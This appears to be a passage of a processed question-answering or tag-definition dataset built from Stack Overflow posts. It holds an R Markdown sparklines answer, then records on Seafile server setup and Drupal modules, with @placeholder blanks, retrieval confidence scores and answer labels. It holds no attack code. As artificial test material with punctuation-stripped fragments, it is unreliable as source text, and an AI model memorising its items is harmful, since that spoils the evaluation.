Edit - My solution so far . The HTML is finished . Half way there with the pdf . For doc I don t think it is possible copy-paste to Excel . HTML table .. . First so R knows if I am rendering a html pdf or doc . out type takes the values : html pdf and docx . I can use this object in if statements . Now the bars : .. . .. . Looks like this http : i.stack.imgur.com XpPwn.png .. . .. . It is also possible to have two columns . Another possibility http : i.stack.imgur.com f2Lj7.png .. . .. . Here again I have a table with proportions I have two objects that have the proportions of males and females . Of course you can also have the numbers inside the bars if you wish but it is a problem when the bars are small . PDF .. . I haven t gotten as far with the pdf . Here is my solution so far : .. . .. . PDF bars http : i.stack.imgur.com FSHZM.png .. . .. . It doesn t look as good . I am very new to Latex . I still need to find out how to place the numbers behind the bars . And how to put this into an if-statement in my function . If HTML then : if pdf then.. . I hope this helps someone . But please consider the packages mentioned in this thread . They are excellent my solution is very much based on them . I just could not get exactly what I was looking for with the packages so I did this manually . Comment : See github.com htmlwidgets sparkline https : github.com htmlwidgets sparkline Comment : That is a very cool package widget . How would one go about adding it to a table in rmarkdown without drawing up the table : in text like is shown on the page . For example this does not work : pander ddply iris Species summarise N length Sepal.Length Mean mean Sepal.Length na.rm T Sd sd Sepal.Length na.rm T spark sparkline Mean .. . Answer : I think what you need is formattable package https : github.com renkun-ken formattable . There is also an example https : github.com renkun-ken formattable issues 10 issuecomment-110864675 of mixing sparklines with formattable but I couldn t adapt it to your needs . enter image description here http : i.stack.imgur.com 66W47.png Comment : That is exactly what I need . Thank you Comment : let me know if you need any additional help with formattable . Comment : @timelyportfolio Could you add an example answer with sparklines 3 sparklines should show line chart per Species group for Sepal.Length ." ] }
[ "yes-answer-long", "yes-answer-short" ]
sparklines
UNK_RELATION
seafile-server@cloud-storage@45
seafile-server -- seafile is an open-source @placeholder system with advanced support for file syncing privacy protection and teamwork .
{ "confidence": [ 60.037384033203125, 52.46961975097656, 50.09217071533203, 49.456153869628906, 48.33662414550781, 47.67518997192383, 46.2325553894043, 45.59654235839844, 44.033447265625, 44.033447265625, 42.64883804321289, 41.227867126464844, 40.84934997558594, 40.84934997558594, 39.46120834350586, 39.09380340576172, 37.75081253051758, 36.9897346496582, 36.67401123046875, 35.26889419555664, 35.26889419555664, 34.58988952636719, 34.440120697021484, 34.27713394165039, 33.164825439453125, 25.289798736572266, 24.84567642211914, 23.879436492919922, 22.463830947875977, 22.460227966308594, 21.524229049682617, 20.93203353881836, 20.93203353881836, 20.48004150390625, 20.47415542602539, 19.92476463317871, 18.54587745666504, 18.54587745666504, 17.820558547973633, 17.820558547973633, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.376996994018555, 17.057239532470703, 16.06515121459961, 15.643280982971191, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 15.621451377868652, 13.517382621765137, 13.517382621765137 ], "content": [ "I have installed Seafile server in centos and seafile client in windows machine .", "I guess seafile thinks it should be a subdirectory .. . .. . my recent try to configure apache - sites-enabled default-ssl .. . .. . My Seafile-Settings : .. . .. . ccnet ccnet.conf .. . .. . seahub settings.py .. . .. . I think the issue is in the seafile configuration if seafile would be accessible under url seafile and not only the url the problem should be solved .", "Just installed an instance of Seafile http : seafile.com on my CentOS server .", "You have to set .. . .. . in the seahub settings.py to access Seafile under", "I have successfully got Seafile Server fully working with HTTPS .", "Solution 1 : Seafile .. . .. . Seafile docs http : manual.seafile.com develop web api.html isn t very clear about file model but it seems to work only with a File object .", "I run a Seafile-Server on my Ordoid with OpenMediaVault and nginx .", "I tried 2 APIs : Seafile and Imgur .", "I m trying to get Seafile running behind a nginx reversed proxy .", "Okay so after hours of struggeling i decided to reinstall seafile .", "However I m trying to migrate from SQLite to MySQL and everytime I try the seafile-server stops working .", "I have set up a Seafile server which is accessible under https : subdomain.no-ip.org i now want baikal to be accessible under https : subdomain.no-ip.org baikal .. . .. . However I can t get it running because i always get a message from Seafile that this directory does not exist .", "Is there a way to set Seafile Seahub up to use the mail command postfix exim ect instead of SMTP", "To upgrade your harddisk : .. . .. . If it is 1 harddisk i would backup my seafile data and my mysql databases .", "I m running a seafile vm private-network behind a Plesk vm public .", "I also installed MySQL Workbench and I can see the seafile user with privileges and the databases populated with the tables .", "File object example http : i.stack.imgur.com qPMP4.jpg .. . .. . Or is anyone find a way to send data with Seafile web API without using an input file value", "The seafile-service itself is still running I can access all files with the android app or the windows client .", "Iptables rules .. . .. . After some time I add the following Iptables rules ftp : ftp.linux-magazin.de pub listings ubuntu-user.com 19 Seafile Listing01.txt to the host machine gentoo that seems to match the Seafile s requirements : .. . .. . However I m still unable to connect even with telnet to the seafile-server either from Internet or the host machine .", "I followed this guide Deploy Seafile Windows Server With MySQL http : manual.seafile.com deploy windows deploy with mysql.html .. . .. . Its really frustrating I dont understand why its not working .", "1 break .. . proxy pass http : 127.0.0.1 : 8082 .. . client max body size 0 .. . proxy connect timeout 36000s .. . proxy read timeout 36000s .. . proxy send timeout 36000s .. . send timeout 36000s .. . .. . .. . location media .. . root home cloud seafile-server-latest seahub .. . .. . .. . .. . .. . That should be everything important .", "I have installed Seafile-server http : www.seafile.com en download 3.0.4 64bit on a Ubuntu-server 14.04 with default ports settings i.e . 8000 8082 10001 12001 but fail to access the instance with the client .", "I managed this by assigning different Ports to each Service Seafile : my-server.com : 123 https : www.my-server.com : 123 Baikal : my-server.com : 234 https : www.my-server.com : 234", "Seahub http : i.stack.imgur.com i9xXn.png .. . .. . The log files are filled with messages like : .. . .. . error 2663 0 : 224 open root data seafile seafile-server-latest seahub media img add.png failed 13 : Permission denied client : : : ffff : 77.23.122.199 server : request : GET media img add.png HTTP 1.1 host : myserver : 8088 referrer : https : myserver : 8088 .. . .. . There are several css js and images files mentioned .", "The developer console in chrome tells me .. . .. . Failed to load resource : the server responded with a status of 403 Forbidden .. . .. . I already tried to reinstall Seafile to change user or group of the mentioned folders add read-write and execute permissions .", "An even better option would be to have your local mail-server configured to support SMTP Auth .", "My configuration is like follows : .. . .. . Nginx running for vhost cloud.mydomain.tld .. . Seafile and Seahub in fastcgi mode both running on their default ports .. . My seahub settings.py looks like this : .. . .. . HTTP SERVER ROOT https : cloud.mydomain.tld seafhttp -- I added this to try it .. . FILE SERVER ROOT https : cloud.mydomain.tld seafhttp .. . SECRET KEY 12345678-1234-1234-1234-1234567890123456 .. . .. . DATABASES .. . default : .. . ENGINE : django.db.backends.mysql .. . NAME : seahub-db .. . USER : seafile .. . PASSWORD : mypassword .. . HOST : 127.0.0.1 .. . PORT : 3306 .. . OPTIONS : .. . init command : SET storage engine INNODB .. . .. . .. . .. . .. . .. . My nginx configuration : .. . .. . Cloud .. . .. . No-SSL redirect .. . server .. . listen 80 .. . server name cloud.mydomain.tld .. . return 301 https : server name request-uri .. . .. . .. . SSL .. . server .. . listen 443 ssl .. . .. . server name cloud.mydomain.tld .. . ssl-certificate etc letsencrypt live cloud.mydomain.tld cert.pem .. . ssl-certificate key etc letsencrypt live cloud.mydomain.tld privkey.pem .. . .. . location .. . fastcgi pass 127.0.0.1 : 8000 .. . fastcgi param SCRIPT FILENAME document root fastcgi script name .. . fastcgi param PATH INFO fastcgi script name .. . .. . fastcgi param SERVER PROTOCOL server protocol .. . fastcgi param QUERY STRING query-string .. . fastcgi param REQUEST METHOD request method .. . fastcgi param CONTENT TYPE content-type .. . fastcgi param CONTENT LENGTH content-length .. . fastcgi param SERVER ADDR server addr .. . fastcgi param SERVER PORT server port .. . fastcgi param SERVER NAME server name .. . fastcgi param REMOTE ADDR remote addr .. . .. . access log var log nginx seahub.access.log .. . error-log var log nginx seahub.error.log .. . fastcgi read timeout 36000 .. . .. . .. . location seafhttp .. . rewrite seafhttp .", "Is it nstalled from source", "Stop server - Copy from old disk to new disk - update Settings for ngnix Path to data - start server", "If yes then it will likely work with a system account and password out of the box .", "The RPMs that I build for myself are based off of the AtRPMS source and IIRC and they link-to PAM by default .", "Instead they now require you to provide an SMTP server and optional-parameters for SMTP Auth .", "You are quite likely already running an SMTP Server on your local machine that is listening on 127.0.0.1 : 25 localhost port 25 .", "Can t you start the server with . seafile.sh start", "The without a From : address is fine your local mail-server will add that for you in what is typically called a fix-up mode when messages are submitted locally .", "I don t want to use my personal email credentials in the config file and my SMTP service will not allow anonymous message delivery .", "This is really strange.. . Why would they offer a config file and overwrite it by some database settings afterwards", "This time I edited the seahub settings.py -file BEFORE I started seahub the first time and now it works .", "Infrastructure .. . .. . The Ubuntu-server is running as a KVM machine on a Gentoo host .", "Solved as the folder defined in the nginx config was not accessible for the user who started the server", "It works OK except for email-notifications .", "Some of the documentation on configuring email is missing http : manual.seafile.com config email.html from the online manual page is 404 ed as of 2014-08-18 9 : 30a EDT .", "The only other email related documtation I found was for configuring SMTP http : manual.seafile.com config seahub settings py.html .", "In my Googling it looks like they have removed the ability to pipe to an MTA like sendmail or postfix or exim .", "The solution is straightforward .", "Simply configure the host and port to that and follow the instructions in Note 2 : .. . .. . Note2 : If you want to use the Email service without authentication leave EMAIL HOST USER and EMAIL HOST PASSWORD blank .", "But notice that the emails then will be sent without a From : address .", "It will be whatever user you are running the webserver as @ the hostname of the machine .", "To do this you create a user which is really only intended to send email and configure that user in the settings .", "For example create a user named notifier set the password to something long and complicated then configure the two settings that were omitted above to the username likely without the @hostname part and the password .", "You said you re running Exim so let s do a little looking under the hood .", "From RPM", "Does the exim.conf have an authenticators section that defines PLAIN or LOGIN authentication types", "If it doesn t have those authenticators then you ll have to add them and it should be as simple as the authenticators code segment using PAM shown in https : github.com Exim exim wiki AuthenticatedSmtpUsingPam .", "I don t think you ll need to recompile because linking against PAM is pretty standard for modern Exim builds .", "I m running exim on this box .", "Thanks - to answer your question it is managed with Yum .", "I m out of the office for a few days but will poke around next week and follow up as needed .", "Please anyone help me to clarify my doubts .", "I have included screenshot .", "1 .", "How to enable search bar in all pages like seacloud.cc .. . 2 .", "After I logged Admin account how to view user files .", "3 .", "In future how upgrade Hard disk incase if Hard disk is full .", "enter image description here http : i.stack.imgur.com vX50Z.png .. . .. .", "enter image description here http : i.stack.imgur.com ygKUR.png", "Are you running pro or community edition", "You can perform a clean install and use your old databases and files .", "Please accept as solution .", "Only available in the pro edition .. . 2 .", "You cannot view other users files except they have shared them with you .. . 3 .", "I need a hint in which direction I should look for an answer on this .", "I tried changing the SERVICE URL but no effect .", "Do you have any ideas about this", "I supposed the expected format is an object created by new File API", "Here s my actual functions : .. . .. . When I m in a simple js app it works with .. . .. . instead of .. . .. . Is it possible to get a similar File object in React Native", "I m using react-native-camera plugin so I have the image path I also tried to get file with react-native-fs plugin and send it in base64 but it always return a 502 Bad Gateway . .", "I m not sure what information to put here that yous will need but happy to provide what ever you need .", "Anybody", "I m stumped here .", "What do you mean by stops working", "Can t you start Seahub", "Can t you access the website", "I followed this : http : manual.seafile.com deploy deploy with nginx.html along with this : http : manual.seafile.com deploy https with nginx.html .", "So now when I delete my old seahub settings.pyc start seahub in fastcgi mode of course point the browser to my library and try to upload something I get the following error message in the F12 developer console : .. . .. . This means that seahub is still trying to connect to the old upload service which of course does not work anymore .", "Until now I did not find out any solution for this problem .", "I just found your question by having the same problem .", "That s easy : there s a constance config in seahub-db with MySQL same thing apply with sqlite that records configuration and overwrite the plain config files .", "This configuration can be modified from the admin console upper right or you can simply truncate this table to get it re-generated .", "It s a new feature starting from 5.0.0 http : manual.seafile.com config index.html .", "Regards Julien", "Thank you", "After deleting everything in its directory as well as all mysql records I set it up again .", "Probably seahub keeps some caches of the config somewhere else than in seahub settings.pyc .", "Seems to be some bug.. .", "Update : issue might be related to fail2ban", "As I m using NAT to link my virtual-machine to my host I had to edit the rules as follow to get it to work : .. . .. . References .. . .. . Linux Firewall Tutorial : IPTables Tables Chains Rules Fundamentals http : www.thegeekstuff.com 2012 08 iptables-log-packets" ] }
{ "confidence": [ 64.61741638183594, 61.357582092285156, 61.00765609741211, 59.120784759521484, 56.6948356628418, 56.241153717041016, 55.80744552612305, 53.71484375, 53.4030876159668, 52.436920166015625, 44.70380401611328 ], "content": [ "Question : I need a hint in which direction I should look for an answer on this . I have set up a Seafile server which is accessible under https : subdomain.no-ip.org i now want baikal to be accessible under https : subdomain.no-ip.org baikal .. . .. . However I can t get it running because i always get a message from Seafile that this directory does not exist . I guess seafile thinks it should be a subdirectory .. . .. . my recent try to configure apache - sites-enabled default-ssl .. . .. . My Seafile-Settings : .. . .. . ccnet ccnet.conf .. . .. . seahub settings.py .. . .. . I think the issue is in the seafile configuration if seafile would be accessible under url seafile and not only the url the problem should be solved . I tried changing the SERVICE URL but no effect . Do you have any ideas about this Comment : I managed this by assigning different Ports to each Service Seafile : my-server.com : 123 https : www.my-server.com : 123 Baikal : my-server.com : 234 https : www.my-server.com : 234 .. . Answer : You have to set .. . .. . in the seahub settings.py to access Seafile under", "Question : null .. . Answer : I run a Seafile-Server on my Ordoid with OpenMediaVault and nginx . It used to work but I wanted to install roundcube which didn t work . After uninstalling roundcube my Seahub does not work anymore . When visiting the Website I see this : Seahub http : i.stack.imgur.com i9xXn.png .. . .. . The log files are filled with messages like : .. . .. . error 2663 0 : 224 open root data seafile seafile-server-latest seahub media img add.png failed 13 : Permission denied client : : : ffff : 77.23.122.199 server : request : GET media img add.png HTTP 1.1 host : myserver : 8088 referrer : https : myserver : 8088 .. . .. . There are several css js and images files mentioned . The developer console in chrome tells me .. . .. . Failed to load resource : the server responded with a status of 403 Forbidden .. . .. . I already tried to reinstall Seafile to change user or group of the mentioned folders add read-write and execute permissions . Nothing works . As I use my backed up config files from the time it worked I don t think the error is set there . The seafile-service itself is still running I can access all files with the android app or the windows client . Comment : Solved as the folder defined in the nginx config was not accessible for the user who started the server", "Question : null .. . Answer : I have successfully got Seafile Server fully working with HTTPS . However I m trying to migrate from SQLite to MySQL and everytime I try the seafile-server stops working . I m not sure what information to put here that yous will need but happy to provide what ever you need . I followed this guide Deploy Seafile Windows Server With MySQL http : manual.seafile.com deploy windows deploy with mysql.html .. . .. . Its really frustrating I dont understand why its not working . I also installed MySQL Workbench and I can see the seafile user with privileges and the databases populated with the tables . Comment : Anybody I m stumped here . Comment : What do you mean by stops working Can t you start the server with . seafile.sh start Can t you start Seahub Can t you access the website", "Question : I have installed Seafile server in centos and seafile client in windows machine . Please anyone help me to clarify my doubts . I have included screenshot . 1 . How to enable search bar in all pages like seacloud.cc .. . 2 . After I logged Admin account how to view user files . 3 . In future how upgrade Hard disk incase if Hard disk is full . enter image description here http : i.stack.imgur.com vX50Z.png .. . .. . enter image description here http : i.stack.imgur.com ygKUR.png .. . Answer : Are you running pro or community edition To upgrade your harddisk : .. . .. . If it is 1 harddisk i would backup my seafile data and my mysql databases . You can perform a clean install and use your old databases and files . Comment : Please accept as solution .", "Question : I have installed Seafile-server http : www.seafile.com en download 3.0.4 64bit on a Ubuntu-server 14.04 with default ports settings i.e . 8000 8082 10001 12001 but fail to access the instance with the client . Infrastructure .. . .. . The Ubuntu-server is running as a KVM machine on a Gentoo host . Iptables rules .. . .. . After some time I add the following Iptables rules ftp : ftp.linux-magazin.de pub listings ubuntu-user.com 19 Seafile Listing01.txt to the host machine gentoo that seems to match the Seafile s requirements : .. . .. . However I m still unable to connect even with telnet to the seafile-server either from Internet or the host machine . Update : issue might be related to fail2ban .. . Answer : As I m using NAT to link my virtual-machine to my host I had to edit the rules as follow to get it to work : .. . .. . References .. . .. . Linux Firewall Tutorial : IPTables Tables Chains Rules Fundamentals http : www.thegeekstuff.com 2012 08 iptables-log-packets", "Question : I have installed Seafile server in centos and seafile client in windows machine . Please anyone help me to clarify my doubts . I have included screenshot . 1 . How to enable search bar in all pages like seacloud.cc .. . 2 . After I logged Admin account how to view user files . 3 . In future how upgrade Hard disk incase if Hard disk is full . enter image description here http : i.stack.imgur.com vX50Z.png .. . .. . enter image description here http : i.stack.imgur.com ygKUR.png .. . Answer : 1 . Only available in the pro edition .. . 2 . You cannot view other users files except they have shared them with you .. . 3 . Stop server - Copy from old disk to new disk - update Settings for ngnix Path to data - start server", "Question : I m trying to get Seafile running behind a nginx reversed proxy . I followed this : http : manual.seafile.com deploy deploy with nginx.html along with this : http : manual.seafile.com deploy https with nginx.html . My configuration is like follows : .. . .. . Nginx running for vhost cloud.mydomain.tld .. . Seafile and Seahub in fastcgi mode both running on their default ports .. . My seahub settings.py looks like this : .. . .. . HTTP SERVER ROOT https : cloud.mydomain.tld seafhttp -- I added this to try it .. . FILE SERVER ROOT https : cloud.mydomain.tld seafhttp .. . SECRET KEY 12345678-1234-1234-1234-1234567890123456 .. . .. . DATABASES .. . default : .. . ENGINE : django.db.backends.mysql .. . NAME : seahub-db .. . USER : seafile .. . PASSWORD : mypassword .. . HOST : 127.0.0.1 .. . PORT : 3306 .. . OPTIONS : .. . init command : SET storage engine INNODB .. . .. . .. . .. . .. . .. . My nginx configuration : .. . .. . Cloud .. . .. . No-SSL redirect .. . server .. . listen 80 .. . server name cloud.mydomain.tld .. . return 301 https : server name request-uri .. . .. . .. . SSL .. . server .. . listen 443 ssl .. . .. . server name cloud.mydomain.tld .. . ssl-certificate etc letsencrypt live cloud.mydomain.tld cert.pem .. . ssl-certificate key etc letsencrypt live cloud.mydomain.tld privkey.pem .. . .. . location .. . fastcgi pass 127.0.0.1 : 8000 .. . fastcgi param SCRIPT FILENAME document root fastcgi script name .. . fastcgi param PATH INFO fastcgi script name .. . .. . fastcgi param SERVER PROTOCOL server protocol .. . fastcgi param QUERY STRING query-string .. . fastcgi param REQUEST METHOD request method .. . fastcgi param CONTENT TYPE content-type .. . fastcgi param CONTENT LENGTH content-length .. . fastcgi param SERVER ADDR server addr .. . fastcgi param SERVER PORT server port .. . fastcgi param SERVER NAME server name .. . fastcgi param REMOTE ADDR remote addr .. . .. . access log var log nginx seahub.access.log .. . error-log var log nginx seahub.error.log .. . fastcgi read timeout 36000 .. . .. . .. . location seafhttp .. . rewrite seafhttp . 1 break .. . proxy pass http : 127.0.0.1 : 8082 .. . client max body size 0 .. . proxy connect timeout 36000s .. . proxy read timeout 36000s .. . proxy send timeout 36000s .. . send timeout 36000s .. . .. . .. . location media .. . root home cloud seafile-server-latest seahub .. . .. . .. . .. . .. . That should be everything important . So now when I delete my old seahub settings.pyc start seahub in fastcgi mode of course point the browser to my library and try to upload something I get the following error message in the F12 developer console : .. . .. . This means that seahub is still trying to connect to the old upload service which of course does not work anymore . Until now I did not find out any solution for this problem . .. . Answer : Okay so after hours of struggeling i decided to reinstall seafile . After deleting everything in its directory as well as all mysql records I set it up again . This time I edited the seahub settings.py -file BEFORE I started seahub the first time and now it works . Probably seahub keeps some caches of the config somewhere else than in seahub settings.pyc . Seems to be some bug.. .", "Question : Just installed an instance of Seafile http : seafile.com on my CentOS server . It works OK except for email-notifications . Some of the documentation on configuring email is missing http : manual.seafile.com config email.html from the online manual page is 404 ed as of 2014-08-18 9 : 30a EDT . The only other email related documtation I found was for configuring SMTP http : manual.seafile.com config seahub settings py.html . Is there a way to set Seafile Seahub up to use the mail command postfix exim ect instead of SMTP I don t want to use my personal email credentials in the config file and my SMTP service will not allow anonymous message delivery . .. . Answer : In my Googling it looks like they have removed the ability to pipe to an MTA like sendmail or postfix or exim . Instead they now require you to provide an SMTP server and optional-parameters for SMTP Auth . The solution is straightforward . You are quite likely already running an SMTP Server on your local machine that is listening on 127.0.0.1 : 25 localhost port 25 . Simply configure the host and port to that and follow the instructions in Note 2 : .. . .. . Note2 : If you want to use the Email service without authentication leave EMAIL HOST USER and EMAIL HOST PASSWORD blank . But notice that the emails then will be sent without a From : address . The without a From : address is fine your local mail-server will add that for you in what is typically called a fix-up mode when messages are submitted locally . It will be whatever user you are running the webserver as @ the hostname of the machine . An even better option would be to have your local mail-server configured to support SMTP Auth . To do this you create a user which is really only intended to send email and configure that user in the settings . For example create a user named notifier set the password to something long and complicated then configure the two settings that were omitted above to the username likely without the @hostname part and the password . You said you re running Exim so let s do a little looking under the hood . Is it nstalled from source From RPM Does the exim.conf have an authenticators section that defines PLAIN or LOGIN authentication types If yes then it will likely work with a system account and password out of the box . If it doesn t have those authenticators then you ll have to add them and it should be as simple as the authenticators code segment using PAM shown in https : github.com Exim exim wiki AuthenticatedSmtpUsingPam . I don t think you ll need to recompile because linking against PAM is pretty standard for modern Exim builds . The RPMs that I build for myself are based off of the AtRPMS source and IIRC and they link-to PAM by default . Comment : I m running exim on this box . Comment : Thanks - to answer your question it is managed with Yum . I m out of the office for a few days but will poke around next week and follow up as needed .", "Question : I m trying to get Seafile running behind a nginx reversed proxy . I followed this : http : manual.seafile.com deploy deploy with nginx.html along with this : http : manual.seafile.com deploy https with nginx.html . My configuration is like follows : .. . .. . Nginx running for vhost cloud.mydomain.tld .. . Seafile and Seahub in fastcgi mode both running on their default ports .. . My seahub settings.py looks like this : .. . .. . HTTP SERVER ROOT https : cloud.mydomain.tld seafhttp -- I added this to try it .. . FILE SERVER ROOT https : cloud.mydomain.tld seafhttp .. . SECRET KEY 12345678-1234-1234-1234-1234567890123456 .. . .. . DATABASES .. . default : .. . ENGINE : django.db.backends.mysql .. . NAME : seahub-db .. . USER : seafile .. . PASSWORD : mypassword .. . HOST : 127.0.0.1 .. . PORT : 3306 .. . OPTIONS : .. . init command : SET storage engine INNODB .. . .. . .. . .. . .. . .. . My nginx configuration : .. . .. . Cloud .. . .. . No-SSL redirect .. . server .. . listen 80 .. . server name cloud.mydomain.tld .. . return 301 https : server name request-uri .. . .. . .. . SSL .. . server .. . listen 443 ssl .. . .. . server name cloud.mydomain.tld .. . ssl-certificate etc letsencrypt live cloud.mydomain.tld cert.pem .. . ssl-certificate key etc letsencrypt live cloud.mydomain.tld privkey.pem .. . .. . location .. . fastcgi pass 127.0.0.1 : 8000 .. . fastcgi param SCRIPT FILENAME document root fastcgi script name .. . fastcgi param PATH INFO fastcgi script name .. . .. . fastcgi param SERVER PROTOCOL server protocol .. . fastcgi param QUERY STRING query-string .. . fastcgi param REQUEST METHOD request method .. . fastcgi param CONTENT TYPE content-type .. . fastcgi param CONTENT LENGTH content-length .. . fastcgi param SERVER ADDR server addr .. . fastcgi param SERVER PORT server port .. . fastcgi param SERVER NAME server name .. . fastcgi param REMOTE ADDR remote addr .. . .. . access log var log nginx seahub.access.log .. . error-log var log nginx seahub.error.log .. . fastcgi read timeout 36000 .. . .. . .. . location seafhttp .. . rewrite seafhttp . 1 break .. . proxy pass http : 127.0.0.1 : 8082 .. . client max body size 0 .. . proxy connect timeout 36000s .. . proxy read timeout 36000s .. . proxy send timeout 36000s .. . send timeout 36000s .. . .. . .. . location media .. . root home cloud seafile-server-latest seahub .. . .. . .. . .. . .. . That should be everything important . So now when I delete my old seahub settings.pyc start seahub in fastcgi mode of course point the browser to my library and try to upload something I get the following error message in the F12 developer console : .. . .. . This means that seahub is still trying to connect to the old upload service which of course does not work anymore . Until now I did not find out any solution for this problem . .. . Answer : I just found your question by having the same problem . That s easy : there s a constance config in seahub-db with MySQL same thing apply with sqlite that records configuration and overwrite the plain config files . This configuration can be modified from the admin console upper right or you can simply truncate this table to get it re-generated . It s a new feature starting from 5.0.0 http : manual.seafile.com config index.html . Regards Julien Comment : Thank you This is really strange.. . Why would they offer a config file and overwrite it by some database settings afterwards", "Question : null .. . Answer : I m trying to upload a picture taken from my react-native app . I tried 2 APIs : Seafile and Imgur . Both are problematics . Solution 1 : Seafile .. . .. . Seafile docs http : manual.seafile.com develop web api.html isn t very clear about file model but it seems to work only with a File object . It works fine when getting document.getElementById myInputFile .files 0 from an input in a simple js project . However in React Native I can t achieve to make it works . I m using react-native-camera plugin so I have the image path I also tried to get file with react-native-fs plugin and send it in base64 but it always return a 502 Bad Gateway . . I supposed the expected format is an object created by new File API Here s my actual functions : .. . .. . When I m in a simple js app it works with .. . .. . instead of .. . .. . Is it possible to get a similar File object in React Native File object example http : i.stack.imgur.com qPMP4.jpg .. . .. . Or is anyone find a way to send data with Seafile web API without using an input file value Solution 2 : Imgur .. . .. . Imgur API works fine in React Native We can send a base64 image . But only when anonymously . It s a completely defferent problem but I didn t find any way to use oAuth in React Native working on Android and iOS .", "Question : I m running a seafile vm private-network behind a Plesk vm public . Right now I m using apache as proxy but was wondering how to get this setup running with nginx only . This works : .. . .. . This doesn t : .. . .. . But this again does work : .. . .. . + .. . .. . What am I missing here Thanks Max .. . Answer : Fix below :" ] }
[ "yes-answer-long", "yes-answer-short" ]
cloud-storage
UNK_RELATION
drupal-modules@drupal@50
drupal-modules -- drupal-modules are add-ons for @placeholder that allow you to extend and customize drupal functionality.use this tag is for questions about available modules hosted on www.drupal.org .
{ "confidence": [ 68.45947265625, 65.85736846923828, 65.12716674804688, 61.35045623779297, 61.095489501953125, 59.8525390625, 59.8525390625, 59.300193786621094, 59.28913116455078, 58.05724334716797, 58.05724334716797, 57.47760772705078, 57.19829559326172, 55.97039794921875, 55.97039794921875, 54.38093185424805, 54.368167877197266, 53.45005798339844, 53.299869537353516, 52.38896942138672, 51.764060974121094, 51.67825698852539, 51.381439208984375, 51.08109664916992, 50.21415710449219, 50.094085693359375, 49.96876525878906, 49.96876525878906, 49.96876525878906, 49.96876525878906, 49.96876525878906, 49.96876525878906, 49.55681610107422, 49.31106185913086, 49.23224639892578, 49.01599884033203, 48.78227996826172, 48.78227996826172, 48.71902084350586, 48.62614440917969, 48.155128479003906, 48.155128479003906, 48.044464111328125, 48.044464111328125, 47.994972229003906, 47.8628044128418, 47.8628044128418, 47.8628044128418, 47.61135482788086, 47.365848541259766, 47.28436279296875, 47.28436279296875, 47.28436279296875, 47.076107025146484, 47.06804275512695, 46.922386169433594, 46.922386169433594, 46.846466064453125, 46.81373596191406, 46.81373596191406, 46.76142120361328, 46.578285217285156, 46.35520935058594, 45.94529724121094, 45.86003112792969, 45.86003112792969, 45.72278594970703, 45.48906707763672, 45.48906707763672, 45.48906707763672, 45.48906707763672, 45.48906707763672, 45.48906707763672, 45.48906707763672, 45.48906707763672, 45.424468994140625, 45.424468994140625, 45.424468994140625, 45.14347457885742, 45.04480743408203, 44.81776428222656, 44.75177764892578, 44.424530029296875, 44.40229797363281, 44.31703186035156, 44.31703186035156, 44.14320755004883, 44.14320755004883, 44.019683837890625, 43.75407028198242, 43.629173278808594, 43.629173278808594, 43.629173278808594, 43.629173278808594, 43.629173278808594, 43.629173278808594, 43.629173278808594, 43.566165924072266, 43.38310623168945 ], "content": [ "In Drupal 7 it considered best practice to keep modules in the sites modules directory .", "How could I achieve this using Drupal modules", "Am having problems with integrating drupal and alfresco 4.2 and the cmis drupal-modules .", "I install Leaflet and Leaflet More Maps modules in Drupal 7 .", "Is it possible to create your own hook in a Drupal module for other Drupal modules to consume", "There is no module scope in Drupal all modules run in the same global namespace .", "Is there some other trick to getting Drupal modules to register a change in the code", "See the drupal documentation for the hook-menu http : api.drupal.org api drupal-modules system system.api.php function hook-menu 7 function .", "I m using Drupal 7 https : www.drupal.org drupal-7.0 with the Profile 2 Module https : www.drupal.org project profile2 .", "Does Drupal have any modules for doing something like this", "So drupal have any modules or need idea for doing this", "we looked into Rating Voting modules for Drupal 8 but we could only find for Drupal 7 porting it into Drupal 8 seems a high-effort .", "Sadly my Drupal knowledge of creating modules and or hacking into existing modules is pretty limited .", "Readme.txt from from the owa module on drupal says Installation .. . .. . 1 Copy the owa module directory in to your Drupal sites all modules directory as usual .", "As I understand things Drupal modules work on a event like system called hooks http : api.drupal.org api drupal includes--module.inc group hooks 7 .", "Is there a module for Drupal available", "Yes you should use hook form FORM ID alter https : api.drupal.org api drupal-modules 21system 21system.api.php function hook form FORM ID alter 7 or hook-form-alter https : api.drupal.org api drupal-modules 21system 21system.api.php function hook-form-alter 7 if you prefer .", "If I use Install new module link on modules page admin modules from any domain Drupal tries to download modules in all modules folder instead of domain.x modules .", "As you can see in contact.module https : github.com drupal drupal blob 7.x modules contact contact.module L170 there are a few predefined hardcoded variabels .", "So far all I have found was dated documentation on civicrm that required modules that are not available for Drupal 7 .", "If i recall.. . http : api.drupal.org api drupal modules--node--node.api.php function hook delete 7 .. . .. . does ths help", "ostraining.com http : www.ostraining.com blog drupal drupal-migrate", "hook node presave should be should be what you are looking for : .. . .. . https : api.drupal.org api drupal-modules node node.api.php function hook node presave 7", "More about drupal template suggestions https : www.drupal.org node 1089656 .", "http : drupal.org project openid .. . .. . But you added a drupal-6 tag which suggests you re using Drupal 6 OpenID has been a core part of Drupal 6 http : drupal.org node 152893 for 2 years - it s documented in the handbook http : drupal.org handbook modules openid .", "I ve made a simple site using Drupal Commerce https : www.drupal.org project commerce and Ubercart https : www.drupal.org project ubercart modules for food order and delivery functions .", "For some reason the schema version of the problematic modules was set to -1 making it appear to drupal as-if they re uninstalled .", "What is the best method for deploying Drupal 8 modules themes using git-flow .", "I am using Drupal version 8.1.1 and installed following modules for creating an event listing feature .", "Should I install some other modules or configure some thing else in Drupal 8 for this", "That is not a hook form http : api.drupal.org api drupal-modules 21node 21node.api.php function hook form 7 implementation it is a form builder .", "Firstly update Drupal core from 7.22 and 7.39 and secondly update modules one by one .", "I would recommend starting with taking a look at the resources 